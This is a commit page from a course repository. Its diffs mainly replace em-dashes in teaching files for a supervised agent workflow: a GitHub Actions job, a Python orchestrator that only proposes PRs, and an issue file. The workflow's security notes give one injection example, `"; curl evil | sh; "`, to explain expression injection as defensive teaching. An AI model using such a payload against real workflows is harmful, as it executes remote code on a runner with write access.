De-slop: remove every em-dash + banned words across all modules + capstone (#94)
Sync course wiki / sync-wiki (push) Successful in 4s

Co-authored-by: claude <[email protected]>
Co-committed-by: claude <[email protected]>
This commit was merged in pull request #94.
This commit is contained in:
2026-06-22 23:21:22 -04:00
committed by claude
parent 513d7e7ac8
commit c098933f25
99 changed files with 1324 additions and 1315 deletions
+3 -3
View File
@@ -1,17 +1,17 @@
# Keep the agent's proposed diff clean (Module 25, Part B).
#
# propose_pr() in agent_runner.py runs `git add -A` on purpose — a real agent (Part D) may touch
# propose_pr() in agent_runner.py runs `git add -A` on purpose; a real agent (Part D) may touch
# files you can't enumerate ahead of time, so staging everything is the correct behavior. This
# .gitignore is what keeps that honest: it excludes the Python caches and the lab scaffolding you
# copied into tasks-app, so the commit the agent proposes is ONLY its real change (agent_demo.py and
# its test in the simulated path) — not binary .pyc noise or the orchestrator itself.
# its test in the simulated path), not binary .pyc noise or the orchestrator itself.
# Python / tool caches
__pycache__/
.pytest_cache/
.ruff_cache/
# Lab scaffolding copied into tasks-app for this module — not part of the agent's change.
# Lab scaffolding copied into tasks-app for this module, not part of the agent's change.
agent_runner.py
issue-delete-command.md
agent-job.yml
+10 -10
View File
@@ -1,15 +1,15 @@
# Reference: an autonomous agent running as a RUNNER JOB (Module 19) — triggered and scheduled.
# Reference: an autonomous agent running as a RUNNER JOB (Module 19), triggered and scheduled.
#
# This is the "for real" version of agent_runner.py: instead of you launching the agent, the forge
# launches it on a runner in response to an event or a timer, and the agent opens a PR. That PR then
# hits your NORMAL gates — CI (Module 14), security scanning (Module 15), and human review (Module
# 10) — exactly like a human's PR. The supervision is structural; this file just automates the start.
# hits your NORMAL gates: CI (Module 14), security scanning (Module 15), and human review (Module
# 10), exactly like a human's PR. The supervision is structural; this file just automates the start.
#
# GitHub Actions flavor (same as Module 14's ci.yml), so it goes in .github/workflows/. Equivalents:
# * GitLab: a job with `rules:` on $CI_PIPELINE_SOURCE + a `workflow:` schedule.
# * Forgejo/Gitea: the same YAML under .forgejo/workflows/ or .gitea/workflows/.
#
# DO NOT enable this blindly. Read the security notes at the bottom first — an unattended agent with a
# DO NOT enable this blindly. Read the security notes at the bottom first; an unattended agent with a
# write token is automation acting in your name. This is the last thing you turn on, on purpose.
name: agent-issue-to-pr
@@ -18,7 +18,7 @@ on:
# TRIGGERED: fire when an issue gets the `agent` label. Event in -> agent runs -> PR out.
issues:
types: [labeled]
# SCHEDULED: also attempt work overnight. This is "the workflow runs itself" — keep it cheap.
# SCHEDULED: also attempt work overnight. This is "the workflow runs itself", so keep it cheap.
schedule:
- cron: "0 6 * * *" # 06:00 UTC daily; adjust to your timezone and budget.
@@ -27,7 +27,7 @@ jobs:
# Only run the triggered path when the label is actually `agent` (labeled events fire for ANY
# label). The scheduled path has no label, so allow it through too.
if: ${{ github.event_name == 'schedule' || github.event.label.name == 'agent' }}
runs-on: ubuntu-latest # whose compute this is — see Module 19 for self-hosted runners.
runs-on: ubuntu-latest # whose compute this is; see Module 19 for self-hosted runners.
# Least privilege (Module 17): grant ONLY what opening a PR needs. Not admin, not secrets access.
permissions:
@@ -49,13 +49,13 @@ jobs:
- name: Run the agent on a fresh branch
env:
# The agent's model credentials come from a SCOPED secret you set in the forge — never
# The agent's model credentials come from a SCOPED secret you set in the forge, never
# hardcoded here (Module 17). Keep this provider-neutral: it's whatever your agent needs.
AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }}
# Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode.
AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}"
# The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script
# below — see the security notes (Actions expression-injection) for why this matters.
# below; see the security notes (Actions expression-injection) for why this matters.
BODY: ${{ github.event.issue.body }}
run: |
git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}"
@@ -74,9 +74,9 @@ jobs:
# --- Security notes (read before enabling) -------------------------------------------------------
# * Actions expression-injection (THIS file, a different bug from prompt injection): never paste
# ${{ github.event.issue.body }} — or any untrusted ${{ ... }} — directly into a run: script. The
# ${{ github.event.issue.body }} (or any untrusted ${{ ... }}) directly into a run: script. The
# ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like
# `"; curl evil | sh; "` executes on the runner before the agent is even invoked — with this job's
# `"; curl evil | sh; "` executes on the runner before the agent is even invoked, with this job's
# write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY",
# so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt
# injection (below) attacks the agent's reasoning. Defend against both.
@@ -1,19 +1,19 @@
"""Module 25 lab — an autonomous-but-supervised agent orchestrator.
"""Module 25 lab: an autonomous-but-supervised agent orchestrator.
This is the smallest honest version of the two patterns in the module:
* issue-to-pr — read an issue, let an agent implement it, run the gate, produce a PR PROPOSAL.
* self-heal — run the gate; on failure, feed the failure back to the agent for a fix,
* issue-to-pr : read an issue, let an agent implement it, run the gate, produce a PR PROPOSAL.
* self-heal : run the gate; on failure, feed the failure back to the agent for a fix,
bounded by a retry cap; produce a PR PROPOSAL.
The load-bearing idea is in one place and you should be able to point at it: the agent NEVER merges.
Every path ends at `propose_pr()` — a branch, a commit, and the command *you* would run to open the
Every path ends at `propose_pr()`: a branch, a commit, and the command *you* would run to open the
PR. The CI/review/security gates (Modules 14/15/10) and recovery (Module 12) are what supervise it,
not a human watching it type.
Run it two ways:
1. Simulated (no agent needed, fully deterministic) — see the machinery and the gates:
1. Simulated (no agent needed, fully deterministic); see the machinery and the gates:
python agent_runner.py issue-to-pr issue-delete-command.md --simulate good
python agent_runner.py issue-to-pr issue-delete-command.md --simulate bad
python agent_runner.py self-heal --simulate bad
@@ -21,9 +21,9 @@ Run it two ways:
Simulation works on a SELF-CONTAINED demo target (agent_demo.py + test_agent_demo.py) so it is
deterministic and never corrupts your real tasks-app files. The gate it runs (ruff + pytest) is
the real one — the same checks Module 14's CI runs.
the real one, the same checks Module 14's CI runs.
2. Real agent — drives your own agentic tool against the actual issue. Point AGENT_CMD at your
2. Real agent: drives your own agentic tool against the actual issue. Point AGENT_CMD at your
tool's non-interactive / one-shot mode, then drop --simulate:
export AGENT_CMD='your-agent-cli --print --prompt-file {prompt_file}'
python agent_runner.py issue-to-pr issue-delete-command.md
@@ -52,7 +52,7 @@ CONFIG_CANDIDATES = ["AGENTS.md", ".agent/instructions.md", "agent-config.md"]
# --------------------------------------------------------------------------------------------------
# The gate — the same lint + test checks Module 14 runs in CI, run locally so they're reproducible.
# The gate: the same lint + test checks Module 14 runs in CI, run locally so they're reproducible.
# This is the structural supervision. It does not care whether a human or an agent wrote the change.
# --------------------------------------------------------------------------------------------------
def run_gate() -> tuple[bool, str]:
@@ -65,7 +65,7 @@ def run_gate() -> tuple[bool, str]:
try:
proc = subprocess.run(cmd, capture_output=True, text=True)
except FileNotFoundError:
out.append(f" ! {cmd[0]} not installed — `pip install pytest ruff`. Treating as a gate FAIL.")
out.append(f" ! {cmd[0]} not installed; run `pip install pytest ruff`. Treating as a gate FAIL.")
ok = False
continue
out.append(proc.stdout.rstrip())
@@ -78,7 +78,7 @@ def run_gate() -> tuple[bool, str]:
# --------------------------------------------------------------------------------------------------
# The agent — real (your tool) or simulated (deterministic, for the lab).
# The agent: real (your tool) or simulated (deterministic, for the lab).
# --------------------------------------------------------------------------------------------------
def find_config() -> Path | None:
env = os.environ.get("AGENT_CONFIG")
@@ -93,14 +93,14 @@ def find_config() -> Path | None:
def build_prompt(task: str, *, issue_path: Path | None = None, failure: str | None = None) -> str:
"""Assemble the agent's brief: standing config (Module 5) + the specific task (issue or failure)."""
parts = ["You are working in a Git repository on the current branch. Make the change directly in",
"the files. Do not commit, push, or merge — just edit. Follow the project's conventions."]
"the files. Do not commit, push, or merge; just edit. Follow the project's conventions."]
config = find_config()
if config:
parts += ["", f"# Project conventions (from {config})", config.read_text()]
if issue_path:
parts += ["", "# Task (issue to implement)", issue_path.read_text()]
if failure:
parts += ["", "# A CI check just failed. Fix the CODE so it passes — do not weaken or delete",
parts += ["", "# A CI check just failed. Fix the CODE so it passes; do not weaken or delete",
"# the test to make it pass. Here is the failing output:", "```", failure, "```"]
return "\n".join(parts)
@@ -134,21 +134,21 @@ def simulate_implement(variant: str) -> None:
)
if variant == "good":
DEMO_SRC.write_text("def discount(price, pct):\n return price - price * pct / 100\n")
else: # 'bad' — plausible but wrong: treats the percent as a flat amount.
else: # 'bad': plausible but wrong, treats the percent as a flat amount.
DEMO_SRC.write_text("def discount(price, pct):\n return price - pct\n")
def simulate_fix(variant: str, attempt: int) -> None:
if variant == "stuck":
# The "agent" keeps producing plausible, still-wrong fixes — the loop must give up, not run forever.
# The "agent" keeps producing plausible, still-wrong fixes, so the loop must give up, not run forever.
DEMO_SRC.write_text(f"def discount(price, pct):\n return price - pct - {attempt}\n")
else: # 'bad' — converges on the second attempt with the correct formula.
else: # 'bad': converges on the second attempt with the correct formula.
DEMO_SRC.write_text("def discount(price, pct):\n return price - price * pct / 100\n")
def simulate_cleanup() -> None:
"""Discard the simulator's demo artifacts. These are UNTRACKED new files, so `git restore`
(which only touches tracked files) can't remove them — the simulator cleans up after itself."""
(which only touches tracked files) can't remove them, so the simulator cleans up after itself."""
for path in (DEMO_SRC, DEMO_TEST):
path.unlink(missing_ok=True)
@@ -163,7 +163,7 @@ def in_git_repo() -> bool:
def ensure_branch(name: str) -> None:
"""Create and switch to the agent's working branch. The orchestrator owns this git step the same
way agent-job.yml's runner does (`git switch -c`) — you direct the automation and then verify the
way agent-job.yml's runner does (`git switch -c`): you direct the automation and then verify the
branch (`git branch`), instead of typing `git checkout` by hand. No-op outside a Git repo."""
if not in_git_repo():
return
@@ -175,7 +175,7 @@ def ensure_branch(name: str) -> None:
def propose_pr(message: str) -> None:
print("\n" + "=" * 80)
print("GATE PASSED. Proposing a PR — NOT merging. A human reviews the diff (Module 10).")
print("GATE PASSED. Proposing a PR, NOT merging. A human reviews the diff (Module 10).")
print("=" * 80)
if in_git_repo():
subprocess.run(["git", "add", "-A"])
@@ -188,7 +188,7 @@ def propose_pr(message: str) -> None:
print(f" git push -u origin {branch}")
print(" # ...and open a pull request on your forge. CI + security gates run there.")
else:
print("\n(Not a Git repo — skipping commit. In your tasks-app this would commit to the branch.)")
print("\n(Not a Git repo, so skipping commit. In your tasks-app this would commit to the branch.)")
print("\nThe agent stops here. It cannot merge. That is the whole safety model.")
@@ -249,14 +249,14 @@ def cmd_self_heal(simulate: str | None) -> int:
print(gate_output)
if attempt > RETRY_CAP - 1:
break
print(f"\n[self-heal] gate red — attempt {attempt}/{RETRY_CAP - 1}: asking the agent for a fix.")
print(f"\n[self-heal] gate red, attempt {attempt}/{RETRY_CAP - 1}: asking the agent for a fix.")
if simulate:
simulate_fix(simulate, attempt)
else:
run_real_agent(build_prompt("fix", failure=gate_output))
print("\n" + "=" * 80)
print(f"SELF-HEAL GAVE UP after {RETRY_CAP - 1} attempts. Handing off to a human — NOT looping forever.")
print(f"SELF-HEAL GAVE UP after {RETRY_CAP - 1} attempts. Handing off to a human, NOT looping forever.")
print("This cap is what stops an agent burning a runner bill chasing a flaky or impossible fix.")
print("=" * 80)
return 2
@@ -1,6 +1,6 @@
<!--
The agent's INPUT for Module 25. This is a well-formed issue in the Module 9 format: title,
context, acceptance criteria, scope. It is deliberately a good candidate for an agent — well-
context, acceptance criteria, scope. It is deliberately a good candidate for an agent: well-
scoped, concrete, and it mirrors a pattern already in the codebase (the existing `done` command).
The orchestrator (agent_runner.py) reads this file and pairs it with your committed AI config
@@ -15,7 +15,7 @@
`tasks-app` can `add`, `list`, and mark a task `done`, but there's no way to remove a task. Once a
task is added by mistake it stays forever. The `done` command already takes an index and mutates the
list through a method on `TaskList`, so a `delete` command should follow the exact same shape — this
list through a method on `TaskList`, so a `delete` command should follow the exact same shape. This
is a patterned change, not a design problem.
## Acceptance criteria
@@ -25,7 +25,7 @@ is a patterned change, not a design problem.
- `delete` with an out-of-range or non-integer index prints a clear error (e.g.
`no task at index 99`) and exits non-zero, instead of dumping a traceback.
- The logic lives on `TaskList` (a `remove(index)` method or equivalent), mirroring how `complete`
works — `cli.py` only parses arguments and calls it.
works; `cli.py` only parses arguments and calls it.
- A test covers: a successful delete removes the right task, and an out-of-range delete is handled.
## Out of scope